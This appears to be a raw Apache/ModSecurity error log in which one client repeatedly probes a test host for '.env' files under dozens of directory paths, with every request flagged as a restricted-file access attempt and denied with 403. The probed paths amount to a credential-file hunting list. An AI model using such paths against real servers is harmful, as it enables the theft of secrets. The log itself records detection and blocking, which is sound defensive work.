[Wed Feb 25 06:05:38.763125 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmgAAAAU&quot;]
[Wed Feb 25 06:05:38.825239 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmwAAAAU&quot;]
[Wed Feb 25 06:05:38.825520 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmwAAAAU&quot;]
[Wed Feb 25 06:05:38.825732 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmwAAAAU&quot;]
[Wed Feb 25 06:05:38.901731 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDnAAAAAU&quot;]
[Wed Feb 25 06:05:38.901989 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDnAAAAAU&quot;]
[Wed Feb 25 06:05:38.902150 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDnAAAAAU&quot;]
[Wed Feb 25 06:05:39.579326 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDqgAAAAU&quot;]
[Wed Feb 25 06:05:39.579693 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDqgAAAAU&quot;]
[Wed Feb 25 06:05:39.579914 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDqgAAAAU&quot;]
[Wed Feb 25 06:05:39.605681 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDqwAAAAU&quot;]
[Wed Feb 25 06:05:39.605915 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDqwAAAAU&quot;]
[Wed Feb 25 06:05:39.606066 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDqwAAAAU&quot;]
[Wed Feb 25 06:05:39.662566 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrAAAAAU&quot;]
[Wed Feb 25 06:05:39.662812 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrAAAAAU&quot;]
[Wed Feb 25 06:05:39.662966 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrAAAAAU&quot;]
[Wed Feb 25 06:05:39.775149 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staticfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrQAAAAU&quot;]
[Wed Feb 25 06:05:39.775375 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrQAAAAU&quot;]
[Wed Feb 25 06:05:39.775527 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrQAAAAU&quot;]
[Wed Feb 25 06:05:39.821296 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrgAAAAU&quot;]
[Wed Feb 25 06:05:39.821550 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrgAAAAU&quot;]
[Wed Feb 25 06:05:39.821714 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrgAAAAU&quot;]
[Wed Feb 25 06:05:39.856648 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrwAAAAU&quot;]
[Wed Feb 25 06:05:39.856878 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrwAAAAU&quot;]
[Wed Feb 25 06:05:39.857066 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDrwAAAAU&quot;]
[Wed Feb 25 06:05:39.882143 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDsAAAAAU&quot;]
[Wed Feb 25 06:05:39.882393 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDsAAAAAU&quot;]
[Wed Feb 25 06:05:39.882539 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDsAAAAAU&quot;]
[Wed Feb 25 06:05:39.987321 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /strapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDsgAAAAU&quot;]
[Wed Feb 25 06:05:39.987594 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDsgAAAAU&quot;]
[Wed Feb 25 06:05:39.987767 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ6DI-TWwZsZM3_RktVDsgAAAAU&quot;]
[Wed Feb 25 06:05:40.038026 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /style/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDswAAAAU&quot;]
[Wed Feb 25 06:05:40.038423 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDswAAAAU&quot;]
